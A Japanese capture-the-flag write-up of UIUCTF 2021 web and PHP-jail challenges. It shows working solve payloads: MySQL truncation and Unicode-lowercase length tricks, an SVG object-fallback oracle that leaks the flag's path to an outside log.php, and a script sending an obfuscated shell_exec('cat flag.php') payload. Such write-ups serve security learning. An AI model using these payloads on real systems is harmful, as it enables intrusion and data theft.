7/31 - 8/2という日程で開催された。zer0ptsで参加して10位。Web問がパズル要素多めで楽しかった。
- [Web 50] wasmbaby (372 solves)
- [Web 112] ponydb (49 solves)
- [Web 417] miniaturehorsedb (13 solves)
- [Web 483] essveegee (4 solves)
- [Jail 449] phpfuck_fixed (9 solves)
[Web 50] wasmbaby (372 solves)
wasmファイルを読む…必要はなく、strings
で一発。
$ strings -n 8 "index.wasm" | grep uiu uiuctf{welcome_to_wasm_e3c3bdd1}
[Web 112] ponydb (49 solves)
使われているRDBMSはMySQL。以下のように favorites
というカラムは型が varchar(256)
なので、256文字以上の文字列を突っ込めば256文字に切り詰められる。
try: cursor.execute('CREATE TABLE `ponies` (`name` varchar(64), `bio` varchar(256), ' '`image` varchar(256), `favorites` varchar(256), `session` varchar(64))')
切り詰めを防止するために以下のように文字列の長さはちゃんとチェックされている。と思いきや、よく見ると favorite_key
と favorite_value
では、64文字を超えても他のデータのように error
という変数に文字列が代入されていない。このせいで favorite_key
と favorite_value
に65文字以上の文字列を突っ込んでもスルーされてしまう。
image = request.form['image'] if "'" in image: error = 'Image URL may not contain single quote' if len(image) > 256: error = 'Image URL too long' favorite_key = request.form['favorite_key'] if "'" in favorite_key: error = 'Custom favorite name may not contain single quote' if len(favorite_key) > 64: 'Custom favorite name too long' favorite_value = request.form['favorite_value'] if "'" in favorite_value: error = 'Custom favorite may not contain single quote' if len(favorite_value) > 64: 'Custom favorite too long' ... if error: flash(error)
favorite_key
と favorite_value
は最終的に以下のような形でJSONとして格納される。number
の値を 1337
に変えることができればフラグが得られるので、favorite_key
と favorite_value
より後ろにある number
が切り捨てられるようにしたい。適当にスペースで文字数を調整して、切り詰められた後のJSONが {"(favorite_key)":"","number":1337}
になるような favorite_value
を生成する。
cur.execute(f"INSERT INTO `ponies` VALUES ('{name}', '{bio}', '{image}', " + \ f"'{{\"{favorite_key.lower()}\":\"{favorite_value}\"," + \ f"\"word\":\"{word.lower()}\",\"number\":{number}}}', " + \ f"'{session['id']}')")
favorite_key
に a
、favorite_value
に ","number":1337}(スペースが234個)
を入力するとフラグが得られた。
uiuctf{My_l33tle_p0ny_5fb234}
[Web 417] miniaturehorsedb (13 solves)
ponydbに以下のような変更が加えられた。今度は favorite_key
や favorite_value
が64文字を超えればちゃんと弾かれるようになった。
$ diff -u old.py new.py --- old.py 2021-06-19 05:45:17.000000000 +0900 +++ new.py 2021-08-01 00:13:34.000000000 +0900 @@ -71,11 +71,11 @@ favorite_key = request.form['favorite_key'] if "'" in favorite_key: error = 'Custom favorite name may not contain single quote' - if len(favorite_key) > 64: 'Custom favorite name too long' + if len(favorite_key) > 64: error = 'Custom favorite name too long' favorite_value = request.form['favorite_value'] if "'" in favorite_value: error = 'Custom favorite may not contain single quote' - if len(favorite_value) > 64: 'Custom favorite too long' + if len(favorite_value) > 64: error = 'Custom favorite too long' word = request.form['word'] if "'" in word: error = 'Word may not contain single quote'
文字数のチェックでは len(favorite_key)
が使われているが、レコードの挿入時には favorite_key.lower()
と str.lower()
によって小文字化されていることに注目して、nyankoさんが len('İ')
が1なのに対して len('İ'.lower())
は2であることを見つけていた。
これを使えば、保存時に str.lower()
に通される favorite_key
と word
にいっぱい İ
を入れてやることで、256文字への切り詰めでそれらのキーより後ろにある number
を無視させることができるはず。以下のように入力するとフラグが得られた。
favorite_key: İİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİİ favorite_value: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","number":1337,"a":"a word: İİİİİİİİİİİİİİİİİİİİİİİİİ"}
uiuctf{wh0ops_th1s_on3_was_harder_r1ght_9fa2b}
[Web 483] essveegee (4 solves)
SVGをアップロードすると /app/sessions/(セッションID)/uploads/(SVGのID).svg
に保存される。SVGのIDをadminに報告するとadminがPlaywrightで file:///app/…
を見に行く。SVGならJavaScriptが実行できるのではないかと思ってしまうが、以下のようにJavaScriptの実行は無効化されてしまっている。
const context = await browser.newContext({ javaScriptEnabled: false })
以下のコードからわかるように、フラグは /app/sessions/(セッションID)/flag/a/0/b/f/…/flag.txt
のようなランダムなパスに保存され、またフラグの保存されるディレクトリはadminに報告する度に変更される。
// move the flag to a super secret directory try { fs.rmdirSync(`${SESSION_DIR}/${req.sessionID}/flag`, { recursive: true }) } catch { } try { const flagPath = `${SESSION_DIR}/${req.sessionID}/flag/${crypto.randomBytes(5).toString('hex').split('').join('/')}` fs.mkdirSync(flagPath, { recursive: true }) fs.writeFileSync(`${flagPath}/flag.txt`, process.env.FLAG ?? 'flag{test_flag}') } catch { }
JavaScriptもなしにどうやってフラグの保存されているディレクトリを特定すればよいのだろうかと悩んでいたが、しばらく考えて以下のように object
要素とfallback contentを組み合わせれば、外側の object
要素の読み込みが失敗した(つまり、そのディレクトリが存在しなかった)際にfallback contentの object
要素によって http://localhost:8000?…
へのHTTPリクエストが発生するから、そのHTTPリクエストが発生したかどうかによってディレクトリの存在が確認できるという方法を思いついた。
<svg xmlns="http://www.w3.org/2000/svg"> <foreignObject class="node" x="6" y="22" width="1000" height="1000"> <body xmlns="http://www.w3.org/1999/xhtml"> <object width="50" height="50" data="../flag/0"> <object data="http://localhost:8000?0"></object> </object> <object width="50" height="50" data="../flag/1"> <object data="http://localhost:8000?1"></object> </object> ... <object width="50" height="50" data="../flag/f"> <object data="http://localhost:8000?f"></object> </object> </body> </foreignObject> </svg>
ただし、この方法だけではせいぜい数階層分しか特定できない。フラグを得るには10階層分を特定する必要があるが、ひとつのSVGファイルで10階層分の特定は非現実的だし、複数のSVGファイルをアップロードして複数回の報告をしようとすればフラグのパスは変わってしまう。
iframe
で適当なWebサーバを開かせて、そちらにフラグのあるディレクトリを特定するためのHTMLを動的に生成させるようにしても、ローカルファイルを読み込もうとしたら Not allowed to load local
と怒られてしまう。なんとかしてローカルで完結させなければならない。
ここで、s1r1usさんがSVGをアップロードするセッションとはまた別のセッションを作ってやって、そちらのフラグの保存されているパスを特定するようにすれば、SVGの報告ごとのディレクトリの変更の影響を受けないのではと思いついた。なるほど。
以下のようにペイロードを生成するスクリプトを書き、ペイロードの生成と報告を10回繰り返してフラグの存在するディレクトリを特定する。
s = ''' <svg xmlns="http://www.w3.org/2000/svg"> <foreignObject class="node" x="6" y="22" width="1000" height="1000"> <body xmlns="http://www.w3.org/1999/xhtml"> ''' session_id = '(セッションID)' known = '0/e/d/9/1/a/9/a/c/' for c in '0123456789abcdef': s += f''' <object width="50" height="50" data="../../{session_id}/flag/{known}{c}"> <object data="http://…/log.php?{c}"></object> </object> ''' s += ''' </body> </foreignObject> </svg> ''' with open('payload.svg', 'w') as f: f.write(s)
以下のようなSVGファイルをアップロードし報告してやると、フラグが得られた。
<svg xmlns="http://www.w3.org/2000/svg"> <foreignObject class="node" x="6" y="22" width="1000" height="1000"> <body xmlns="http://www.w3.org/1999/xhtml"> <iframe src="../../(セッションID)/flag/(特定したフラグのパス)/flag.txt"></iframe> </body> </foreignObject> </svg>
[Jail 449] phpfuck_fixed (9 solves)
任意のPHPコードを7種類の文字で表現される等価なコードに変換できるPHPF*ckというツールがあるのだけれども、これを以下のコードが言うように5種類で実現せよという問題だった。無茶を言うな。
<?php // Flag is inside ./flag.php :) ($x=str_replace("`","",strval($_REQUEST["x"])))&&strlen(count_chars($x,3))<=5?print(eval("return $x;")):show_source(__FILE__)&&phpinfo()
後から Look, he has a monocle (^.9)
と、(^.9)
の5種類で実現できるというヒントが追加された。このヒントからnyankoさんがまず以下のように 0
, 1
, 2
, 4
, 8
, INF
を作れることを見つけていた。
php > var_dump(9^9); int(0) php > var_dump(.99999999999999999^(9^9)); int(1) php > var_dump(9^9.9999999999999999^.99999999999999999); int(2) php > var_dump((.99999999999999999^(9^9)).(9^9.9999999999999999^.99999999999999999)^9^.99999999999999999); int(4) php > var_dump(9^.99999999999999999); int(8) php > var_dump((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9)); string(4) "INF9"
さらに、(2^4)
のようにXORを使えばこれらから0から9までの数値を作れるし、((4).(2))^0
のように数値に対して文字列の結合演算子を使えば任意の数値を作れることも見つけていた。すごい。
nyankoさんが見つけたこれらのテクニックを応用して、次のようなスクリプトで CHr
という文字列が作れる。
table = { 0: '(9^9)', 1: '(.99999999999999999^(9^9))', 2: '(9^9.9999999999999999^.99999999999999999)', 4: '((.99999999999999999^(9^9)).(9^9.9999999999999999^.99999999999999999)^9^.99999999999999999)', 8: '(9^.99999999999999999)', 'INF': '((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))' } for x in range(10): if x not in table: res = [] for i in range(4): if x & (1 << i): res.append(table[1 << i]) table[x] = '(' + '^'.join(res) + ')' # @@@ a = table['INF'] + '^' + \ '.'.join([table[8], table[8], table[4]]) + '^' + \ '.'.join([table[1], table[6], table[2]]) # CH ch = a + '^' + \ '.'.join([table[0], table[0]]) + '^' + \ '.'.join([table[3], table[8]]) # r r = table['INF'] + '^' + \ '.'.join([table[8], table[8]]) + '^' + \ '.'.join([table[1], table[8]]) + '^' + \ '.'.join([table[2], table[8]]) # CHr chr = '(' + ch + ').(' + r + ')' chr = '(' + chr + ')' + \ '^(' + '.'.join([table[0], table[0], table[0]]) + ')' + \ '^(' + '.'.join([table[0], table[0], table[0]]) + ')' print(chr)
CHr
という文字列さえあれば、('CHr')(65).('CHr')(66).('CHr')(67) == 'ABC'
のようにして任意の文字列が楽に作れる。shell_exec('cat flag.php')
相当のコードを生成して実行させればフラグが得られた。
import requests table = { 0: '(9^9)', 1: '(.99999999999999999^(9^9))', 2: '(9^9.9999999999999999^.99999999999999999)', 4: '((.99999999999999999^(9^9)).(9^9.9999999999999999^.99999999999999999)^9^.99999999999999999)', 8: '(9^.99999999999999999)', 'chr': '((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(9^.99999999999999999).(9^.99999999999999999).((.99999999999999999^(9^9)).(9^9.9999999999999999^.99999999999999999)^9^.99999999999999999)^(.99999999999999999^(9^9)).((9^9.9999999999999999^.99999999999999999)^((.99999999999999999^(9^9)).(9^9.9999999999999999^.99999999999999999)^9^.99999999999999999)).(9^9.9999999999999999^.99999999999999999)^(9^9).(9^9)^((.99999999999999999^(9^9))^(9^9.9999999999999999^.99999999999999999)).(9^.99999999999999999)).(((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(9^.99999999999999999).(9^.99999999999999999)^(.99999999999999999^(9^9)).(9^.99999999999999999)^(9^9.9999999999999999^.99999999999999999).(9^.99999999999999999)))^((9^9).(9^9).(9^9))^((9^9).(9^9).(9^9))' } for x in range(10): if x not in table: res = [] for i in range(4): if x & (1 << i): res.append(table[1 << i]) table[x] = '(' + '^'.join(res) + ')' def encode_number(x): res = [] for c in str(x): res.append(table[int(c)]) return '.'.join(res) def encode(s): res = [] for c in s: res.append(encode_number(ord(c))) res = '(chr)(' + ').(chr)('.join(res) + ')' res = res.replace('chr', table['chr']) return res payload = '(' + encode('shell_exec') + ')(' + encode('cat flag.php') + ')' req = requests.post('http://phpfuck-fixed.chal.uiuc.tf/', data={ 'x': payload }) print(req.text)
$ python solve.py <?php /* uiuctf{pl3as3_n0_m0rE_pHpee_9f4e3058} */ ?> No flag for you!